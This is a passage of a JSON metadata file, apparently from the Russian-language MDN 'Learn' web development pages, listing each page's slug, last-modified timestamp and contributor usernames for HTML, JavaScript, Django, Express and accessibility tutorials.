- "Learn/HTML/Введение_в_HTML/HTML_text_fundamentals": {
- "modified": "2020-12-07T02:44:19.544Z",
- "contributors": [
- "valandis",
- "Vir",
- "Ivan961",
- "streetsummit",
- "CLoud-Maker",
- "exarces",
- "4Realit",
- "ndrxie",
- "Hemonugi",
- "boxa6",
- "screenspace",
- "a-klimantow",
- "Tuman",
- "nikin93"
- ]
- },
- "Learn/HTML/Введение_в_HTML/Marking_up_a_letter": {
- "modified": "2020-12-07T13:58:43.781Z",
- "contributors": [
- "valandis",
- "Khaidarov-Dinar",
- "shade0602",
- "Janivar05",
- "Darbestor",
- "boxa6",
- "Tuman",
- "thoughtspile",
- "saniaky"
- ]
- },
- "Learn/HTML/Введение_в_HTML/Structuring_a_page_of_content": {
- "modified": "2020-07-16T22:24:20.949Z",
- "contributors": [
- "shade0602",
- "H3llaFresh",
- "boxa6",
- "SenkevichEvgenii",
- "Dzhabarovm",
- "thoughtspile"
- ]
- },
- "Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML": {
- "modified": "2020-12-06T13:02:48.159Z",
- "contributors": [
- "valandis",
- "Ivan961",
- "streetsummit",
- "AlexKost700",
- "trman",
- "boxa6",
- "Bapen1k",
- "SoMuchEffort",
- "AlexeyIoffe",
- "DenisYaschenko",
- "hornuglan",
- "reksar",
- "AkulinaShark",
- "saniaky",
- "SergeyIrk",
- "SergeySM",
- "thoughtspile",
- "nikin93",
- "kolanski"
- ]
- },
- "Learn/HTML/Введение_в_HTML/Начало_работы": {
- "modified": "2020-12-06T12:25:35.513Z",
- "contributors": [
- "valandis",
- "avdalyan",
- "mirzoevtt",
- "Ivan961",
- "OlehMrB",
- "boxa6",
- "HelpVPS",
- "SedovDP",
- "Smekh",
- "SoMuchEffort",
- "AlexeyIoffe",
- "buhman1974",
- "Christisrisen",
- "lexachsar",
- "5iv1i73",
- "SelenIT",
- "SergeyIrk",
- "ax2mx",
- "StrixG",
- "nikin93",
- "thoughtspile",
- "katerina_ti",
- "zloyKrolik",
- "Startsev",
- "kolanski",
- "AKonia"
- ]
- },
- "Learn/HTML/Введение_в_HTML/Создание_гиперссылок": {
- "modified": "2020-12-07T04:48:22.214Z",
- "contributors": [
- "valandis",
- "Ivan961",
- "Aalexashka",
- "Hemonugi",
- "boxa6",
- "Bob-chemist",
- "xap",
- "Klevtcov",
- "reksar",
- "skapesec",
- "Potemkiin",
- "Nerill",
- "Cruseir",
- "thoughtspile",
- "arturparkhisenko",
- "nikin93"
- ]
- },
- "Learn/HTML/Введение_в_HTML/Структура_документа_и_веб-сайта": {
- "modified": "2020-12-07T13:21:17.650Z",
- "contributors": [
- "valandis",
- "ana-karp",
- "Ivan961",
- "sergeyshulzhenko",
- "Merius",
- "boxa6",
- "thoughtspile",
- "Potemkiin",
- "beloglazof",
- "IrinaShv"
- ]
- },
- "Learn/HTML/Рецепты": {
- "modified": "2020-07-16T22:22:30.849Z",
- "contributors": [
- "PaRaD0XCORP",
- "Rendjey",
- "AKonia"
- ]
- },
- "Learn/How_the_Internet_works": {
- "modified": "2020-08-13T11:15:09.762Z",
- "contributors": [
- "bogpok",
- "S-Sukhin",
- "kss555",
- "Sturmtiger",
- "OrkVasya",
- "andrey_fm",
- "TinaSuhanovskaya",
- "elcamlost"
- ]
- },
- "Learn/JavaScript": {
- "modified": "2020-11-05T07:04:03.926Z",
- "contributors": [
- "ksam",
- "kristina.simakova",
- "dkireev",
- "Casper-SC",
- "ConstantineZz",
- "rinbik",
- "welcometowonderland",
- "pk.prog",
- "pust0ta",
- "umbrochcho",
- "teoli"
- ]
- },
- "Learn/JavaScript/Asynchronous": {
- "modified": "2020-10-10T21:18:05.427Z",
- "contributors": [
- "sideshowbarker",
- "Chukhryaev",
- "Sheppy"
- ]
- },
- "Learn/JavaScript/Asynchronous/Async_await": {
- "modified": "2020-10-17T08:02:13.017Z",
- "contributors": [
- "Bucido"
- ]
- },
- "Learn/JavaScript/Asynchronous/Concepts": {
- "modified": "2020-12-02T05:41:10.583Z",
- "contributors": [
- "haltaction",
- "KrasnovaM",
- "snayp"
- ]
- },
- "Learn/JavaScript/Asynchronous/Introducing": {
- "modified": "2020-09-19T16:05:46.059Z",
- "contributors": [
- "Qnemes",
- "pikeraft",
- "KulkovaAnna",
- "kjkoala",
- "evgeniy.bilan93",
- "d-goppen",
- "MaxYenot"
- ]
- },
- "Learn/JavaScript/Asynchronous/Таймауты_и_интервалы": {
- "modified": "2020-11-28T10:09:16.010Z",
- "contributors": [
- "velheor24"
- ]
- },
- "Learn/JavaScript/Building_blocks": {
- "modified": "2020-07-16T22:31:10.516Z",
- "contributors": [
- "JojeeFleming",
- "john-v87",
- "ConstantineZz",
- "Chugou9",
- "web-arch",
- "maxno62",
- "mspunk",
- "pepsikat",
- "pust0ta",
- "umbrochcho"
- ]
- },
- "Learn/JavaScript/Building_blocks/Build_your_own_function": {
- "modified": "2020-07-16T22:31:31.342Z",
- "contributors": [
- "chergav",
- "ConstantineZz",
- "slychai85"
- ]
- },
- "Learn/JavaScript/Building_blocks/Functions": {
- "modified": "2020-11-19T11:11:58.455Z",
- "contributors": [
- "Tartalon",
- "chergav",
- "ConstantineZz",
- "Novo",
- "Dmitrytbp",
- "slychai85",
- "irodger",
- "Mikhail_Eltekov",
- "Sparks"
- ]
- },
- "Learn/JavaScript/Building_blocks/Image_gallery": {
- "modified": "2020-07-16T22:31:44.425Z",
- "contributors": [
- "ellegre",
- "ConstantineZz",
- "slychai85",
- "saniaky"
- ]
- },
- "Learn/JavaScript/Building_blocks/Looping_code": {
- "modified": "2020-11-25T10:13:56.926Z",
- "contributors": [
- "tetragidrohlorid",
- "Tartalon",
- "chergav",
- "ConstantineZz",
- "Chugou9",
- "ohnoitsdasha",
- "PavelDikiy",
- "satori",
- "Novo"
- ]
- },
- "Learn/JavaScript/Building_blocks/Return_values": {
- "modified": "2020-07-16T22:31:34.747Z",
- "contributors": [
- "sirartemis",
- "slayermass",
- "chergav",
- "logty3",
- "Rodionoff"
- ]
- },
- "Learn/JavaScript/Building_blocks/Test_your_skills:_Functions": {
- "modified": "2020-09-06T19:14:23.282Z",
- "contributors": [
- "randomesis"
- ]
- },
- "Learn/JavaScript/Building_blocks/conditionals": {
- "modified": "2020-11-24T14:22:16.804Z",
- "contributors": [
- "tetragidrohlorid",
- "BulavkinNN",
- "chergav",
- "ConstantineZz",
- "Chugou9",
- "ohnoitsdasha",
- "space-rider",
- "Dmitrytbp",
- "hasiev-elchin",
- "fuckingRedBastard",
- "evgor80",
- "easydeads",
- "mspunk",
- "evgeniypotseluev"
- ]
- },
- "Learn/JavaScript/Building_blocks/События": {
- "modified": "2020-08-14T06:15:51.092Z",
- "contributors": [
- "bogpok",
- "Bb1cTpeJI",
- "artamonster",
- "chergav",
- "kryukalexander",
- "ConstantineZz",
- "Zibroff",
- "vOICe-xx",
- "CharlyLovegood",
- "slychai85",
- "Paul_Yuhnovich"
- ]
- },
- "Learn/JavaScript/Client-side_web_APIs": {
- "modified": "2020-07-16T22:32:42.215Z",
- "contributors": [
- "hisbvdis",
- "Fiksers",
- "wind-of",
- "slychai85",
- "qwerst13",
- "MagicMight",
- "Paul_Yuhnovich",
- "chrisdavidmills"
- ]
- },
- "Learn/JavaScript/Client-side_web_APIs/Client-side_storage": {
- "modified": "2020-07-16T22:33:07.262Z",
- "contributors": [
- "DABgames",
- "Egorix132",
- "slayermass",
- "kotokrad",
- "Aparin",
- "Paul_Yuhnovich"
- ]
- },
- "Learn/JavaScript/Client-side_web_APIs/Fetching_data": {
- "modified": "2020-07-16T22:32:59.142Z",
- "contributors": [
- "chergav",
- "Vitaligo",
- "sergeomak",
- "n0ne",
- "slychai85",
- "ar4ell"
- ]
- },
- "Learn/JavaScript/Client-side_web_APIs/Introduction": {
- "modified": "2020-10-17T16:01:51.786Z",
- "contributors": [
- "kirillunlimited",
- "tix836",
- "wind-of",
- "stasusov",
- "alexbs",
- "atomeon",
- "slychai85",
- "ezdodance"
- ]
- },
- "Learn/JavaScript/Client-side_web_APIs/Manipulating_documents": {
- "modified": "2020-09-06T12:59:12.593Z",
- "contributors": [
- "randomesis",
- "wind-of",
- "chergav",
- "Aparin",
- "jainashur",
- "slychai85"
- ]
- },
- "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs": {
- "modified": "2020-07-16T22:32:55.085Z",
- "contributors": [
- "sergeomak"
- ]
- },
- "Learn/JavaScript/Howto": {
- "modified": "2020-07-16T22:33:11.402Z",
- "contributors": [
- "korsakov-kuzjma",
- "paxarpp"
- ]
- },
- "Learn/JavaScript/Объекты": {
- "modified": "2020-07-16T22:31:52.750Z",
- "contributors": [
- "VoropN",
- "injashkin",
- "KomarovSergey",
- "george-04"
- ]
- },
- "Learn/JavaScript/Объекты/Adding_bouncing_balls_features": {
- "modified": "2020-07-16T22:32:35.948Z",
- "contributors": [
- "Stexe",
- "slychai85"
- ]
- },
- "Learn/JavaScript/Объекты/Inheritance": {
- "modified": "2020-10-17T04:55:20.992Z",
- "contributors": [
- "raylyanway",
- "masawik",
- "wind-of",
- "injashkin",
- "Aparin",
- "AntonySawyer",
- "slychai85"
- ]
- },
- "Learn/JavaScript/Объекты/JSON": {
- "modified": "2020-07-16T22:32:28.868Z",
- "contributors": [
- "Tatyana-c",
- "pm3512",
- "wind-of",
- "NikitaOstapenko1205",
- "boxa6",
- "Lirikklimov",
- "slychai85"
- ]
- },
- "Learn/JavaScript/Объекты/Object-oriented_JS": {
- "modified": "2020-11-28T15:15:40.063Z",
- "contributors": [
- "Tartalon",
- "Viatcheslav-Malahov",
- "wind-of",
- "Detrimon",
- "BadLame",
- "ConstantineZz",
- "ellegre",
- "injashkin",
- "NooNoo1337",
- "Roman-Halenko",
- "sergeomak",
- "Elena_Petrenko",
- "uandrew",
- "slychai85",
- "superpuper32",
- "GennadyGlushenkov"
- ]
- },
- "Learn/JavaScript/Объекты/Object_building_practice": {
- "modified": "2020-07-16T22:32:32.476Z",
- "contributors": [
- "Slowball",
- "benzin_kanister",
- "ellegre",
- "boxa6",
- "slychai85"
- ]
- },
- "Learn/JavaScript/Объекты/Object_prototypes": {
- "modified": "2020-07-16T22:32:22.353Z",
- "contributors": [
- "wind-of",
- "sahmildzhakeev",
- "injashkin",
- "Aparin",
- "kplatova",
- "NooNoo1337",
- "VaselisaS",
- "slychai85",
- "arnoldovich",
- "AndreySushentsov"
- ]
- },
- "Learn/JavaScript/Объекты/Основы": {
- "modified": "2020-11-25T08:55:51.454Z",
- "contributors": [
- "Tartalon",
- "alexpikuta",
- "wind-of",
- "jynweythek",
- "iwanttobealight",
- "ConstantineZz",
- "genesky",
- "boxa6",
- "injashkin",
- "NooNoo1337",
- "Dusmatoff",
- "KoS57",
- "slychai85",
- "Jony_e",
- "slowpokex",
- "DoRightt",
- "superpuper32"
- ]
- },
- "Learn/JavaScript/Первые_шаги": {
- "modified": "2020-07-16T22:29:55.165Z",
- "contributors": [
- "chrisdavidmills",
- "boxa6",
- "maxno62",
- "Jertej",
- "pepsikat",
- "alekaru",
- "a13xk",
- "campside",
- "werreour",
- "tagir000"
- ]
- },
- "Learn/JavaScript/Первые_шаги/A_first_splash": {
- "modified": "2020-09-18T19:59:13.793Z",
- "contributors": [
- "aashch1",
- "SphinxKnight",
- "sirartemis",
- "TurtleOld",
- "wanvo",
- "Novo",
- "Shadow86",
- "slychai85",
- "TaizoGem",
- "Rodionoff",
- "st4nislava",
- "AndrewSamofalov",
- "warsan",
- "SergeySM",
- "lipav",
- "InternetShelteredBoy",
- "HaukIce",
- "maicom64",
- "fragmentbyte",
- "kirabt123",
- "Segyn",
- "FIJN",
- "alekaru"
- ]
- },
- "Learn/JavaScript/Первые_шаги/Arrays": {
- "modified": "2020-07-16T22:30:57.680Z",
- "contributors": [
- "SphinxKnight",
- "Immdevrov",
- "chergav",
- "ConstantineZz",
- "maksolimp",
- "AliyevHrn",
- "slychai85",
- "10486",
- "samofand",
- "ArtyomIv"
- ]
- },
- "Learn/JavaScript/Первые_шаги/Math": {
- "modified": "2020-07-16T22:30:28.347Z",
- "contributors": [
- "podocenov",
- "SphinxKnight",
- "bsanzhiev",
- "xxphantom",
- "EugeneSvetlakov",
- "ConstantineZz",
- "galaxy3user",
- "BerezkinBerezkin",
- "y2k",
- "Froris",
- "AndrewSamofalov",
- "FIJN"
- ]
- },
- "Learn/JavaScript/Первые_шаги/Useful_string_methods": {
- "modified": "2020-12-02T10:07:41.183Z",
- "contributors": [
- "nyood",
- "SphinxKnight",
- "Ivan961",
- "Anonymous",
- "RedKvothe",
- "ConstantineZz",
- "boxa6",
- "chrisdavidmills",
- "AsVit",
- "AliyevHrn",
- "slychai85",
- "MariyaSka",
- "samofand",
- "AndrewSamofalov"
- ]
- },
- "Learn/JavaScript/Первые_шаги/Variables": {
- "modified": "2020-07-23T12:20:59.443Z",
- "contributors": [
- "k0w4lk",
- "SphinxKnight",
- "goyalion17",
- "ConstantineZz",
- "hasiev-elchin",
- "Froris",
- "AliyevHrn",
- "slychai85",
- "AndrewSamofalov",
- "laion220995",
- "HaukIce"
- ]
- },
- "Learn/JavaScript/Первые_шаги/What_is_JavaScript": {
- "modified": "2020-07-16T22:30:12.291Z",
- "contributors": [
- "hisbvdis",
- "SphinxKnight",
- "Avdros",
- "ana-karp",
- "EugeneSvetlakov",
- "goyalion17",
- "AlexanderSpivak",
- "KrasPvP",
- "Kirill20123",
- "chrisdavidmills",
- "DmitryYev",
- "Sherxan",
- "DraXXX",
- "s0nly",
- "InternetShelteredBoy",
- "Jertej",
- "fragmentbyte",
- "YanaGord",
- "pathliving",
- "perevalova",
- "dkireev",
- "susov",
- "pust0ta",
- "Badpioneer",
- "MrCopying",
- "DRuslan",
- "Mikhail_Eltekov",
- "alekaru",
- "lawyer12"
- ]
- },
- "Learn/JavaScript/Первые_шаги/Создатель_глуых_историй": {
- "modified": "2020-11-24T09:51:12.035Z",
- "contributors": [
- "tetragidrohlorid",
- "SphinxKnight",
- "ikzsl",
- "AntonySawyer",
- "ConstantineZz",
- "vasja-slvm",
- "AliyevHrn",
- "slychai85",
- "epidersis",
- "DonVeds"
- ]
- },
- "Learn/JavaScript/Первые_шаги/Строки": {
- "modified": "2020-09-30T14:12:03.725Z",
- "contributors": [
- "artsimon555",
- "SphinxKnight",
- "maxbo8",
- "ConstantineZz",
- "boxa6",
- "galaxy3user",
- "CharlyLovegood",
- "mironovartem"
- ]
- },
- "Learn/JavaScript/Первые_шаги/Что_пошло_не_так": {
- "modified": "2020-07-16T22:30:36.453Z",
- "contributors": [
- "SphinxKnight",
- "Immdevrov",
- "chrisdavidmills",
- "SedovDP",
- "ArturWer",
- "hasiev-elchin",
- "Froris",
- "AliyevHrn",
- "MariyaSka",
- "AndrewSamofalov",
- "SergeySM",
- "nikitapoly"
- ]
- },
- "Learn/Pages_sites_servers_and_search_engines": {
- "modified": "2020-09-27T11:42:16.769Z",
- "contributors": [
- "sailonely",
- "PinkDeer",
- "beloglazof",
- "OrkVasya",
- "Kipelych",
- "TinaSuhanovskaya",
- "Hasyama",
- "elcamlost"
- ]
- },
- "Learn/Performance": {
- "modified": "2020-11-19T04:33:49.923Z",
- "contributors": [
- "nomercyso2cybersport",
- "EgorKorol",
- "estelle"
- ]
- },
- "Learn/Performance/business_case_for_performance": {
- "modified": "2020-07-16T22:40:42.596Z",
- "contributors": [
- "D.Lesnik"
- ]
- },
- "Learn/Server-side": {
- "modified": "2020-07-16T22:36:02.172Z",
- "contributors": [
- "skipp",
- "Paul_Yuhnovich",
- "jynweythek",
- "Geloosa",
- "Sumere4ny",
- "DIAMONDinc",
- "chrisdavidmills"
- ]
- },
- "Learn/Server-side/Apache_Configuration_htaccess": {
- "modified": "2020-11-17T06:08:27.845Z",
- "contributors": [
- "chrisdavidmills",
- "kirill001"
- ]
- },
- "Learn/Server-side/Django": {
- "modified": "2020-07-16T22:36:35.585Z",
- "contributors": [
- "exelay",
- "OlegStanKoptev",
- "gutgutter",
- "Sumere4ny",
- "DIAMONDinc",
- "alexfromvl",
- "DenGodunov"
- ]
- },
- "Learn/Server-side/Django/Admin_site": {
- "modified": "2020-07-16T22:37:05.756Z",
- "contributors": [
- "Palladiumm",
- "aflyka",
- "dimaviolinist",
- "askras",
- "aimtbr",
- "Costonied",
- "Keiichii",
- "Santa388",
- "DIAMONDinc",
- "yuriy65",
- "Denizz"
- ]
- },
- "Learn/Server-side/Django/Forms": {
- "modified": "2020-10-10T14:48:33.294Z",
- "contributors": [
- "hustonCun",
- "maksam07",
- "Petr28",
- "Vanvala",
- "theomoore",
- "ShuaChee",
- "DIAMONDinc",
- "Seele22",
- "al+chernin",
- "alexfromvl"
- ]
- },
- "Learn/Server-side/Django/Generic_views": {
- "modified": "2020-07-16T22:37:18.976Z",
- "contributors": [
- "theomoore",
- "askras",
- "Azwartin",
- "expo-lux",
- "Seele22",
- "DIAMONDinc",
- "Keiichii",
- "al+chernin"
- ]
- },
- "Learn/Server-side/Django/Home_page": {
- "modified": "2020-07-16T22:37:11.505Z",
- "contributors": [
- "askras",
- "Costonied",
- "julius425",
- "DIAMONDinc",
- "Keiichii",
- "Santa388",
- "al+chernin"
- ]
- },
- "Learn/Server-side/Django/Models": {
- "modified": "2020-09-21T15:09:16.230Z",
- "contributors": [
- "DrPeryCox",
- "ignusin",
- "egorbir",
- "Palladiumm",
- "nuwak",
- "alexod",
- "Mainstand",
- "to-Sky",
- "Azwartin",
- "bayborodin",
- "Keiichii",
- "DIAMONDinc",
- "carbonec"
- ]
- },
- "Learn/Server-side/Django/Testing": {
- "modified": "2020-07-16T22:37:38.879Z",
- "contributors": [
- "Breadp4ck",
- "theomoore",
- "DIAMONDinc",
- "requiemofthesouls",
- "Azwartin",
- "Seele22",
- "al+chernin"
- ]
- },
- "Learn/Server-side/Django/Tutorial_local_library_website": {
- "modified": "2020-07-16T22:36:50.376Z",
- "contributors": [
- "mmbl",
- "hexeh",
- "FeruzOripov",
- "Flygrounder"
- ]
- },
- "Learn/Server-side/Django/development_environment": {
- "modified": "2020-07-16T22:36:46.788Z",
- "contributors": [
- "maksam07",
- "NickSalander",
- "Mainstand",
- "hexeh",
- "PandaBalu",
- "mcm8mcm",
- "hbble",
- "AgeratoS",
- "vakhet",
- "Elkis",
- "MailfTrue",
- "hellpirat"
- ]
- },
- "Learn/Server-side/Django/django_assessment_blog": {
- "modified": "2020-07-16T22:37:49.218Z",
- "contributors": [
- "DIAMONDinc"
- ]
- },
- "Learn/Server-side/Django/skeleton_website": {
- "modified": "2020-07-16T22:36:54.229Z",
- "contributors": [
- "Bogomazof",
- "Palladiumm",
- "NickSalander",
- "sepulenie",
- "EfimovSergeiV",
- "aPenkov",
- "dimaviolinist",
- "ArthurKud",
- "Costonied",
- "DIAMONDinc",
- "Flygrounder"
- ]
- },
- "Learn/Server-side/Django/web_application_security": {
- "modified": "2020-07-16T22:37:46.879Z",
- "contributors": [
- "NataliaNagaeva",
- "Azwartin"
- ]
- },
- "Learn/Server-side/Django/Аутентификация": {
- "modified": "2020-10-09T09:34:14.083Z",
- "contributors": [
- "hustonCun",
- "i0tool5",
- "Andrey.Chichak",
- "SYSchel",
- "Maksimka101",
- "ivkainova",
- "VyacheslavLobanov",
- "DIAMONDinc",
- "warsan",
- "Flygrounder",
- "kivaschenko",
- "MariyaSka",
- "zet694",
- "al+chernin"
- ]
- },
- "Learn/Server-side/Django/Введение": {
- "modified": "2020-07-16T22:36:41.542Z",
- "contributors": [
- "malikovboo",
- "exelay",
- "NickSalander",
- "xc0derx",
- "azhlbn",
- "NeshkoO",
- "kivaschenko",
- "hbble",
- "Danchek",
- "n05tr0m0",
- "Limpar",
- "vakhet",
- "kilovoltov",
- "AnnaSamonenko",
- "DIAMONDinc"
- ]
- },
- "Learn/Server-side/Django/Разворачивание": {
- "modified": "2020-07-16T22:37:42.545Z",
- "contributors": [
- "velocanica",
- "Vanvala",
- "Nunyapa",
- "DIAMONDinc",
- "kitasS",
- "1Gregory",
- "kivaschenko",
- "al+chernin"
- ]
- },
- "Learn/Server-side/Django/Сессии": {
- "modified": "2020-07-16T22:37:27.912Z",
- "contributors": [
- "egorguscha",
- "timur-orudzhov",
- "askras",
- "al+chernin"
- ]
- },
- "Learn/Server-side/Express_Nodejs": {
- "modified": "2020-07-16T22:37:55.363Z",
- "contributors": [
- "Aparin",
- "reksar",
- "Paul_Yuhnovich",
- "daviys",
- "Sumere4ny"
- ]
- },
- "Learn/Server-side/Express_Nodejs/Displaying_data": {
- "modified": "2020-07-16T22:38:31.314Z",
- "contributors": [
- "mikemoll",
- "alxatr",
- "MariyaSka"
- ]
- },
- "Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page": {
- "modified": "2020-07-16T22:38:38.119Z",
- "contributors": [
- "alxatr"
- ]
- },
- "Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page": {
- "modified": "2020-07-16T22:38:36.909Z",
- "contributors": [
- "alxatr"
- ]
- },
- "Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page": {
- "modified": "2020-07-16T22:38:36.242Z",
- "contributors": [
- "alxatr",
- "MariyaSka"
- ]
- },
- "Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment": {
- "modified": "2020-07-16T22:38:37.510Z",
- "contributors": [
- "alxatr",
- "MariyaSka"
- ]
- },
- "Learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page": {
- "modified": "2020-07-16T22:38:38.667Z",
- "contributors": [
- "alxatr"
- ]
- },
- "Learn/Server-side/Express_Nodejs/Displaying_data/Home_page": {
- "modified": "2020-07-16T22:38:35.549Z",
- "contributors": [
- "hahlek",
- "blok1118",
- "alxatr"
- ]
- },
- "Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template": {
- "modified": "2020-07-16T22:38:35.087Z",
- "contributors": [
- "hahlek",
- "alxatr",
- "MariyaSka"
- ]
- },
- "Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer": {
- "modified": "2020-07-16T22:38:34.518Z",
- "contributors": [
- "alxatr"
- ]
- },
- "Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async": {
- "modified": "2020-07-16T22:38:33.391Z",
- "contributors": [
- "mikemoll",
- "alxatr"
- ]
- },
- "Learn/Server-side/Express_Nodejs/Introduction": {
- "modified": "2020-10-28T17:14:05.095Z",
- "contributors": [
- "Craiqser",
- "OlegKolesnikoff",
- "insomniac-bear",
- "ijetsoft",
- "a.d.uvarov",
- "yozhikvtumane",
- "booom",
- "Anna-Myzukina",
- "kefir266",
- "Paul_Yuhnovich",
- "ivaskonyan"
- ]
- },
- "Learn/Server-side/Express_Nodejs/development_environment": {
- "modified": "2020-07-16T22:38:01.474Z",
- "contributors": [
- "OlegKolesnikoff",
- "SmIB"
- ]
- },
- "Learn/Server-side/Express_Nodejs/forms": {
- "modified": "2020-10-30T05:59:56.813Z",
- "contributors": [
- "Rams3ska",
- "andrewsha256",
- "mikemoll",
- "kulia26",
- "vvalear",
- "MariyaSka"
- ]
- },
- "Learn/Server-side/Express_Nodejs/forms/Create_BookInstance_form": {
- "modified": "2020-07-16T22:38:45.863Z",
- "contributors": [
- "mikemoll"
- ]
- },
- "Learn/Server-side/Express_Nodejs/forms/Create_genre_form": {
- "modified": "2020-07-16T22:38:43.206Z",
- "contributors": [
- "zhd4nov"
- ]
- },
- "Learn/Server-side/Express_Nodejs/forms/Delete_author_form": {
- "modified": "2020-07-16T22:38:46.661Z",
- "contributors": [
- "MariyaSka"
- ]
- },
- "Learn/Server-side/Express_Nodejs/forms/Update_Book_form": {
- "modified": "2020-07-16T22:38:48.138Z",
- "contributors": [
- "MariyaSka"
- ]
- },
- "Learn/Server-side/Express_Nodejs/mongoose": {
- "modified": "2020-07-16T22:38:23.060Z",
- "contributors": [
- "alxatr",
- "Admin-149",
- "ljapkin-roman",
- "Delgus",
- "neyron163",
- "MariyaSka"
- ]
- },
- "Learn/Server-side/Express_Nodejs/routes": {
- "modified": "2020-07-16T22:38:27.367Z",
- "contributors": [
- "Simbiryan",
- "alxatr",
- "skm.yura",
- "MariyaSka"
- ]
- },
- "Learn/Server-side/Express_Nodejs/skeleton_website": {
- "modified": "2020-10-09T11:34:26.503Z",
- "contributors": [
- "yevheniiperekopskyi",
- "DmitryZap",
- "alxatr",
- "MariyaSka",
- "Maxim_Tovchenko",
- "maxno62",
- "ozeep",
- "temenb",
- "daviys"
- ]
- },
- "Learn/Server-side/Express_Nodejs/Учебник_сайт_local_library": {
- "modified": "2020-07-16T22:38:16.847Z",
- "contributors": [
- "maxno62",
- "daviys"
- ]
- },
- "Learn/Server-side/First_steps": {
- "modified": "2020-07-16T22:36:10.688Z",
- "contributors": [
- "xc0derx",
- "Paul_Yuhnovich",
- "Sumere4ny",
- "Khulagen",
- "chrisdavidmills"
- ]
- },
- "Learn/Server-side/First_steps/Client-Server_overview": {
- "modified": "2020-12-07T10:17:52.209Z",
- "contributors": [
- "mantisSp",
- "valandis",
- "SphinxKnight",
- "galfimbl95",
- "norchah",
- "VikaNazarova",
- "xc0derx",
- "chergav",
- "yesha89",
- "Tuman",
- "mr.raccoon.dev",
- "jynweythek",
- "Liubava77",
- "Limpar",
- "Teexy",
- "joisadler",
- "ElenaMazurik",
- "Khulagen"
- ]
- },
- "Learn/Server-side/First_steps/Introduction": {
- "modified": "2020-11-30T09:56:11.980Z",
- "contributors": [
- "mantisSp",
- "artem.simonenko",
- "xc0derx",
- "sohimazdai",
- "jynweythek",
- "cognitive-cake",
- "Teexy",
- "joisadler",
- "Khulagen"
- ]
- },
- "Learn/Server-side/First_steps/Web_frameworks": {
- "modified": "2020-12-07T12:19:38.970Z",
- "contributors": [
- "mantisSp",
- "valandis",
- "Craiqser",
- "galfimbl95",
- "duduindo",
- "nittle",
- "OlegKolesnikoff",
- "insomniac-bear",
- "xc0derx",
- "kseolis",
- "reksar"
- ]
- },
- "Learn/Server-side/First_steps/Веб_Безопасность": {
- "modified": "2020-12-05T11:58:05.010Z",
- "contributors": [
- "valandis",
- "ruslanjumagaliev",
- "maxlu86",
- "tymino"
- ]
- },
- "Learn/Server-side/Node_server_without_framework": {
- "modified": "2020-07-16T22:36:06.418Z",
- "contributors": [
- "coldsteelbr",
- "Paul_Yuhnovich"
- ]
- },
- "Learn/Tools_and_testing": {
- "modified": "2020-07-16T22:38:57.609Z",
- "contributors": [
- "Navin77"
- ]
- },
- "Learn/Tools_and_testing/Cross_browser_testing": {
- "modified": "2020-07-16T22:39:01.559Z",
- "contributors": [
- "no1dor",
- "TurtleOld",
- "slayermass",
- "wbamberg",
- "Anna-Myzukina"
- ]
- },
- "Learn/Tools_and_testing/Cross_browser_testing/Feature_detection": {
- "modified": "2020-07-16T22:39:23.610Z",
- "contributors": [
- "Igor-Sangin"
- ]
- },
- "Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS": {
- "modified": "2020-07-16T22:39:11.565Z",
- "contributors": [
- "ali19158"
- ]
- },
- "Learn/Tools_and_testing/Cross_browser_testing/Introduction": {
- "modified": "2020-10-20T08:45:48.469Z",
- "contributors": [
- "nerrevar",
- "slayermass"
- ]
- },
- "Learn/Tools_and_testing/ГитХаб": {
- "modified": "2020-09-30T19:47:51.138Z",
- "contributors": [
- "TXCloud",
- "PPGAkril",
- "garanzha.s.a"
- ]
- },
- "Learn/Tools_and_testing/Фронтенд_JavaScript_фреймворки": {
- "modified": "2020-07-16T22:39:33.460Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Learn/Tools_and_testing/Фронтенд_JavaScript_фреймворки/React_getting_started": {
- "modified": "2020-07-16T22:39:39.236Z",
- "contributors": [
- "ckomop0x"
- ]
- },
- "Learn/Understanding_URLs": {
- "modified": "2020-07-16T22:35:30.373Z",
- "contributors": [
- "Excent163",
- "gadjetron",
- "vladislavukhov",
- "lerniri"
- ]
- },
- "Learn/Understanding_domain_names": {
- "modified": "2020-07-16T22:35:44.834Z",
- "contributors": [
- "StasBalia",
- "sergeyshulzhenko",
- "CLoud-Maker",
- "thecodecreator",
- "Glebowsky",
- "elcamlost",
- "makoviychuk",
- "vladislavukhov"
- ]
- },
- "Learn/Understanding_links_on_the_web": {
- "modified": "2020-11-25T08:11:30.000Z",
- "contributors": [
- "NikeSmitt",
- "Aalexashka",
- "vladislavukhov",
- "lerniri"
- ]
- },
- "Learn/Доступность": {
- "modified": "2020-07-16T22:40:00.507Z",
- "contributors": [
- "baradusov",
- "pepelsbey",
- "niktariy",
- "IgorPuchkov2003",
- "buhman1974",
- "Pristavka",
- "fasnet",
- "iksah",
- "Paul_Yuhnovich"
- ]
- },
- "Learn/Доступность/Accessibility_troubleshooting": {
- "modified": "2020-07-16T22:40:36.878Z",
- "contributors": [
- "boxa6"
- ]
- },
- "Learn/Доступность/CSS_and_JavaScript": {
- "modified": "2020-07-16T22:40:19.160Z",
- "contributors": [
- "Madihander",
- "boxa6"
- ]
- },
- "Learn/Доступность/HTML": {
- "modified": "2020-07-16T22:40:14.761Z",
- "contributors": [
- "TurtleOld",
- "baradusov",
- "niktariy",
- "boxa6"
- ]
- },
- "Learn/Доступность/Mobile": {
- "modified": "2020-07-16T22:40:32.502Z",
- "contributors": [
- "boxa6"
- ]
- },
- "Learn/Доступность/Multimedia": {
- "modified": "2020-07-16T22:40:27.927Z",
- "contributors": [
- "boxa6"
- ]
- },
- "Learn/Доступность/WAI-ARIA_basics": {
- "modified": "2020-07-16T22:40:23.911Z",
- "contributors": [
- "streloc84",
- "boxa6"
- ]
- },
- "Learn/Доступность/What_is_accessibility": {
- "modified": "2020-07-16T22:40:06.747Z",
- "contributors": [
- "niktariy",
- "Frisle",
- "Pristavka"
- ]
- },
